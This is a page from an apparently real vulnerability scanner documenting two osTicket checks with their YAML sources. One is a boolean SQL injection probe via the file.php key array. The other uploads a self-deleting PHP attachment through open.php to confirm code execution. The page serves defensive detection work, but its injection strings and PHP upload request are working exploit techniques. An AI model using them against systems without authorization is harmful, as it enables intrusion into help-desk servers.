osTicket — 2 vulnerability checks
noctis ships 2 vulnerability checks for osTicket, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
osTicket < 1.10.1 file.php key parameter SQL injection
| CVE | CVE-2017-14396 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/osticket/CVE-2017-14396.yaml |
Tests osTicket before 1.10.1 for the unauthenticated SQL injection in file.php: the key parameter, when sent as an array (key[...]=1), has its array key placed in the database query as a column name, so a name that closes the backtick quoting appends SQL. For the web root, /osticket, /osTicket, /support, /helpdesk and /tickets the test sends three read-only requests to file.php: a control with an ordinary key, one whose injected condition is true and one whose injected condition is false (random operands). The finding is raised when the true request is answered with 422 Unprocessable Entity while the control and the false request are not, which shows the application's reply following the injected SQL condition. Nothing is written and no data is read.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/file.php?key=noctis{{m.tok}}&signature=1&expires=15104725311 HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/file.php?key%5Bid%60%3D1%20AND%20{{m.a}}%3D{{m.a}}%23%5D=1&signature=1&expir… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/file.php?key%5Bid%60%3D1%20AND%20{{m.a}}%3D{{nb}}%23%5D=1&signature=1&expire… - Parses / computes the next value with a Rhai script
- Checks
tr.bannerfor^HTTP/1\.[01] 422→ finding QoD 75: osTicket < 1.10.1 SQL injection in file.php (key parameter)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-14396
- https://github.com/osTicket/osTicket/commit/c359a8ea6d
Feed source — tests/vulnerabilities/osticket/CVE-2017-14396.yaml
# osTicket < 1.10.1 — unauthenticated SQL injection through the key parameter of
# file.php (CVE-2017-14396). file.php hands $_GET['key'] to AttachmentFile::lookup();
# in 1.10 a PHP array (key[...]=v) is passed on as ORM filter criteria, and the ORM
# puts the array's *key* — attacker controlled — into the query as a column name. A
# name that closes the backtick quoting and appends SQL (key[id`=1 AND 1=1#]=1) is
# evaluated by the database. Fixed in 1.10.1 (file.php calls lookupByHash(), which
# only accepts a string key).
#
# Detection (for each candidate base: the web root, /osticket, /osTicket, /support,
# /helpdesk, /tickets): three read-only GET requests to <base>/file.php, sent verbatim
# over a raw socket (the payload carries percent-encoded backticks and "#"):
# control : key=<random> — an ordinary lookup of an unknown file.
# true : key[id`=1 AND N=N#]=1 — the NVT's request (a condition that is true).
# false : same with a false condition (N=N+1).
# The injected condition is evaluated by the database when the true request is
# answered with "422 Unprocessable Entity" (the NVT's marker) while the control and the
# false request are not: the reply follows the injected condition (QoD 75). A target
# that answers 422 to all of them, or to none, is not reported.
#
# Better than the NASL (2017/osticket/gb_os_ticket_sql_inj_vuln.nasl, which sends only
# the true request and reports any 422): the false request and the ordinary control
# separate a reply that depends on the injected condition from one that does not
# (a front end or an application returning 422 for odd query strings), the install
# path is searched instead of read from a prior detection, and the random operands
# are never the NVT's fixed 2735. Nothing is written and no data is read.
#
# CVSS: NVD's v3.0 score for CVE-2017-14396 is 9.8 (the NVT carried the v2 7.5).
#
# Ported from OpenVAS/Greenbone NVT 2017/osticket/gb_os_ticket_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140374, GPL-2.0-only).
uid: 157af232-8302-4e63-a3be-58759a7f9a91
name: "osTicket < 1.10.1 file.php key parameter SQL injection"
description: |
Tests osTicket before 1.10.1 for the unauthenticated SQL injection in file.php: the
key parameter, when sent as an array (key[...]=1), has its array key placed in the
database query as a column name, so a name that closes the backtick quoting appends
SQL. For the web root, /osticket, /osTicket, /support, /helpdesk and /tickets the test
sends three read-only requests to file.php: a control with an ordinary key, one whose
injected condition is true and one whose injected condition is false (random
operands). The finding is raised when the true request is answered with 422
Unprocessable Entity while the control and the false request are not, which shows the
application's reply following the injected SQL condition. Nothing is written and no
data is read.
cves: [CVE-2017-14396]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: sqli
tags: [osticket, php, sqli, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-14396"
- "https://github.com/osTicket/osTicket/commit/c359a8ea6d"
- "OpenVAS/Greenbone NASL 2017/osticket/gb_os_ticket_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# Per-run random operands: true condition a=a, false condition a=a+1.
- id: mint
action: script
code: '#{ tok: rand_hex(8), a: rand_int(10000, 99999) }'
store_as: m
- id: mint-b
action: script
code: 'm.a + 1'
store_as: nb
- id: init-ctl
action: set_var
var_name: ctl
var_value: {connected: false, banner: null}
loop:
over: ["", "/osticket", "/osTicket", "/support", "/helpdesk", "/tickets"]
var: base
- id: init-t
action: set_var
var_name: tr
var_value: {connected: false, banner: null}
- id: init-f
action: set_var
var_name: fr
var_value: {connected: false, banner: null}
- id: ctl
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/file.php?key=noctis{{m.tok}}&signature=1&expires=15104725311 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: ctl
- id: true-req
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/file.php?key%5Bid%60%3D1%20AND%20{{m.a}}%3D{{m.a}}%23%5D=1&signature=1&expires=15104725311 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: tr
- id: false-req
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/file.php?key%5Bid%60%3D1%20AND%20{{m.a}}%3D{{nb}}%23%5D=1&signature=1&expires=15104725311 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
store_as: fr
# Status code of each reply (0 when nothing came back).
- id: verdict
action: script
code: |
let c = 0;
let t = 0;
let f = 0;
if type_of(ctl.banner) == "string" {
let p = eregmatch("^HTTP/1\\.[01] ([0-9]+)", ctl.banner);
if p.len() == 2 { c = int(p[1]); }
}
if type_of(tr.banner) == "string" {
let p = eregmatch("^HTTP/1\\.[01] ([0-9]+)", tr.banner);
if p.len() == 2 { t = int(p[1]); }
}
if type_of(fr.banner) == "string" {
let p = eregmatch("^HTTP/1\\.[01] ([0-9]+)", fr.banner);
if p.len() == 2 { f = int(p[1]); }
}
#{ c: c, t: t, f: f, hit: (t == 422 && c != 422 && f != 422 && c > 0 && f > 0) }
store_as: v
- id: sqli-match
action: match
source: tr.banner
pattern: "^HTTP/1\\.[01] 422"
condition: "v.hit == true"
on_match:
stop: true
finding:
title: "osTicket < 1.10.1 SQL injection in file.php (key parameter)"
confidence_delta: 0.45
qod: 75
evidence: "{{base}}/file.php: key[id`=1 AND {{m.a}}={{m.a}}#]=1 was answered with HTTP {{v.t}} (422 Unprocessable Entity) while the same request with the false condition {{m.a}}={{nb}} was answered with HTTP {{v.f}} and an ordinary key with HTTP {{v.c}}: the reply follows the SQL condition injected through the array key."
remediation: "Upgrade osTicket to 1.10.1 or later (file.php then only accepts a string key). Until then, block requests to file.php whose query holds a key parameter written as an array (key[...])."osTicket STS < 1.2.7 unrestricted ticket attachment upload — PHP code execution
| CVE | CVE-2004-0613 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/osticket/CVE-2004-0613.yaml |
Tests osTicket STS before 1.2.7 for the unrestricted ticket attachment upload: the public "open a new ticket" form (open.php) stores any attachment, PHP files included, as attachments/<ticket>_<filename> under the web root, where it runs as PHP code. The test loads open.php, and when the page holds osTicket's ticket form with an attachment field it opens a ticket (e-mail address at example.com) whose attachment is a one-line PHP file that prints a per-run arithmetic marker and deletes itself. It reads the ticket number from the reply and requests the attachment from the attachments directory: the computed marker confirms that the uploaded file ran as PHP code. When the file is instead served back verbatim, a lower-confidence finding reports that ticket attachments are stored with no type check and readable by anyone. The web root, /osticket, /osTicket, /support, /helpdesk and /tickets are tried. The test opens one support ticket on a vulnerable host.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/open.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{base}}/open.phpwith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php - Parses / computes the next value with a Rhai script
- Checks
run.bodyforNOCTIS[0-9]+END→ finding QoD 97: osTicket STS < 1.2.7 PHP code execution via unrestricted ticket attachment upload - Checks
run.bodyforNOCTIS'\.\(→ finding QoD 75: osTicket STS < 1.2.7 ticket attachments stored with no type check and readable by anyone
References:
Feed source — tests/vulnerabilities/osticket/CVE-2004-0613.yaml
# osTicket STS < 1.2.7 — unrestricted ticket attachment upload to the web-reachable
# attachments/ directory: anyone can open a ticket through the public open.php form
# with a .php attachment, which is stored as attachments/<ticket>_<filename> under the
# web root and runs as PHP when requested (CVE-2004-0613). Fixed in osTicket STS 1.2.7
# (and by the "FileTypes" patch), which only accepts allowed attachment extensions.
#
# Detection (for each candidate base: the web root, /osticket, /osTicket, /support,
# /helpdesk, /tickets):
# 1. GET <base>/open.php. Only a page holding osTicket's ticket form with its file
# field (type="file" name="attachment") goes on; the PHP session cookie it sets
# is replayed on the POST, as the form needs it.
# 2. Real, benign exploitation (QoD 97): POST <base>/open.php a ticket (the form's
# fields) with a one-line PHP attachment noctis<tok>.php that prints
# NOCTIS<a+b>END (the source holds "a+b", never the sum) and deletes itself. The
# ticket number comes from the reply's hidden login_ticket field; then
# GET <base>/attachments/<ticket>_noctis<tok>.php.
# 3. Fallback (QoD 75): the attachment is stored and served back verbatim from the
# attachments directory (PHP not executed there): the uploaded file — and any
# other ticket attachment — can be read by anyone (the CVE's "view sensitive
# uploaded files"). The probe file then stays on the target (no delete action
# exists); the evidence names it.
#
# Better than the NASL (pre2008/osticket_attachment_code_execution.nasl, which uploads
# a phpinfo() file and reports any HTTP 200 on the attachment URL, leaving the file
# behind): the upload is proven by a computed marker from a self-deleting file, so a
# server that answers 200 for every URL (or serves the source as text) is not
# reported as code execution; candidate install paths are tried instead of relying
# on a prior detection; the session cookie is optional; the ticket number parser
# accepts either attribute order.
#
# Limit: http_request keeps only the last Set-Cookie header, so a front end that adds
# its own cookie after PHPSESSID loses the session (the NASL keeps only the last one
# too). Fixed osTicket releases with the same form field also get the test ticket. The ticket's e-mail is example.com (reserved), so
# no auto-reply reaches a real mailbox.
#
# CVSS: NVD has only a v2 score for CVE-2004-0613 — 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT pre2008/osticket_attachment_code_execution.nasl
# (OID 1.3.6.1.4.1.25623.1.0.13645, GPL-2.0-or-later).
uid: 42de7aa1-52b6-4cad-95b1-8e0e4eabcdfc
name: "osTicket STS < 1.2.7 unrestricted ticket attachment upload — PHP code execution"
description: |
Tests osTicket STS before 1.2.7 for the unrestricted ticket attachment upload: the
public "open a new ticket" form (open.php) stores any attachment, PHP files
included, as attachments/<ticket>_<filename> under the web root, where it runs as
PHP code. The test loads open.php, and when the page holds osTicket's ticket form
with an attachment field it opens a ticket (e-mail address at example.com) whose
attachment is a one-line PHP file that prints a per-run arithmetic marker and
deletes itself. It reads the ticket number from the reply and requests the
attachment from the attachments directory: the computed marker confirms that the
uploaded file ran as PHP code. When the file is instead served back verbatim, a
lower-confidence finding reports that ticket attachments are stored with no type
check and readable by anyone. The web root, /osticket, /osTicket, /support,
/helpdesk and /tickets are tried. The test opens one support ticket on a vulnerable host.
cves: [CVE-2004-0613]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [osticket, php, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-0613"
- "https://osticket.com/"
- "OpenVAS/Greenbone NASL pre2008/osticket_attachment_code_execution.nasl (GPL-2.0-or-later)"
steps:
# Per-run file name token and arithmetic operands.
- id: mint
action: script
code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-sum
action: script
code: 'm.a + m.b'
store_as: sum
# ── Loop group: every step below runs once per candidate osTicket base ──
# Pre-initialise every stored result the scripts read (an undefined variable
# would abort the whole test).
- id: init-form
action: set_var
var_name: form
var_value: {status: 0, body: null, headers: {}}
loop:
over: ["", "/osticket", "/osTicket", "/support", "/helpdesk", "/tickets"]
var: base
- id: init-up
action: set_var
var_name: up
var_value: {status: 0, body: null, headers: {}}
- id: init-run
action: set_var
var_name: run
var_value: {status: 0, body: null}
- id: form-probe
action: http_request
method: GET
path: "{{base}}/open.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: form
# osTicket ticket form with the attachment field; keep its session cookie.
- id: form-verify
action: script
code: |
let b = form.body;
let hit = false;
let ck = "";
if type_of(b) == "string" && form.status == 200 {
let l = tolower(b);
hit = egrep("type=[\"']?file[\"']?[^>]*name=[\"']?attachment[\"' >]", l) != ""
|| egrep("name=[\"']?attachment[\"']?[^>]*type=[\"']?file[\"' >]", l) != "";
hit = hit && stridx(l, "osticket") >= 0;
}
if hit && type_of(form.headers) == "map" && "set-cookie" in form.headers {
let c = eregmatch("^([^;]+)", form.headers["set-cookie"].to_string());
if c.len() == 2 { ck = c[1]; }
}
#{ hit: hit, ck: ck }
store_as: xf
# Benign exploitation: open a ticket whose attachment is a self-deleting PHP file
# that prints NOCTIS<a+b>END.
- id: upload
action: http_request
method: POST
path: "{{base}}/open.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "xf.hit == true"
headers:
Cookie: "{{xf.ck}}"
Content-Type: "multipart/form-data; boundary=----noctisCVE20040613"
body: "------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nnoctis\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"email\"\r\n\r\nnoctis-scan@example.com\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"phone\"\r\n\r\n\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"cat\"\r\n\r\n4\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"subject\"\r\n\r\nnoctis scanner attachment test\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\nAutomated security test: checks whether ticket attachments are stored with no file type check. This ticket can be deleted.\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"pri\"\r\n\r\n1\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n1048576\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20040613\r\nContent-Disposition: form-data; name=\"submit_x\"\r\n\r\nOpen Ticket\r\n------noctisCVE20040613--\r\n"
store_as: up
# Ticket number from the hidden login_ticket field (either attribute order).
- id: ticket-parse
action: script
code: |
let b = up.body;
let t = "";
if xf.hit == true && type_of(b) == "string" {
let p = eregmatch("(?i)name=[\"']?login_ticket[\"']?[^>]*value=[\"']?([0-9A-Za-z]+)", b);
if p.len() == 2 { t = p[1]; }
else {
let q = eregmatch("(?i)value=[\"']?([0-9A-Za-z]+)[\"']?[^>]*name=[\"']?login_ticket[\"' >]", b);
if q.len() == 2 { t = q[1]; }
}
}
t
store_as: ticket
- id: run-upload
action: http_request
method: GET
path: "{{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
condition: "xf.hit == true && ticket != \"\""
store_as: run
# Executed only when the computed sum comes back (the source holds "a+b", not it);
# served verbatim when the uploaded source itself comes back.
- id: run-verify
action: script
code: |
let b = run.body;
if type_of(b) != "string" || run.status != 200 { #{ rce: false, raw: false } }
else {
#{
rce: stridx(b, "NOCTIS" + sum + "END") >= 0,
raw: stridx(b, "'NOCTIS'.(" + m.a + "+" + m.b + ")") >= 0
}
}
store_as: rv
- id: rce-match
action: match
source: run.body
pattern: "NOCTIS[0-9]+END"
condition: "rv.rce == true"
on_match:
stop: true
finding:
title: "osTicket STS < 1.2.7 PHP code execution via unrestricted ticket attachment upload"
confidence_delta: 0.65
qod: 97
evidence: "PHP attachment upload confirmed: POST {{base}}/open.php opened ticket #{{ticket}} with attachment noctis{{m.tok}}.php, and GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself). Ticket #{{ticket}} (subject \"noctis scanner attachment test\") can be deleted."
remediation: "Upgrade osTicket (STS 1.2.7 or later restricts attachment types; current releases store attachments outside the web root). Until then, block access to the attachments/ directory and stop it from running PHP, and review it for uploaded scripts."
# Fallback: the attachment is stored with no type check and served verbatim.
- id: raw-match
action: match
source: run.body
pattern: "NOCTIS'\\.\\("
condition: "rv.raw == true"
on_match:
stop: true
finding:
title: "osTicket STS < 1.2.7 ticket attachments stored with no type check and readable by anyone"
confidence_delta: 0.45
qod: 75
evidence: "POST {{base}}/open.php opened ticket #{{ticket}} with a PHP attachment, and GET {{base}}/attachments/{{ticket}}_noctis{{m.tok}}.php served the uploaded source back verbatim (PHP is not run there, but any ticket attachment is readable without authentication). The test file attachments/{{ticket}}_noctis{{m.tok}}.php (harmless, prints a marker) and ticket #{{ticket}} remain and should be deleted."
remediation: "Upgrade osTicket (STS 1.2.7 or later restricts attachment types; current releases store attachments outside the web root). Until then, deny web access to the attachments/ directory."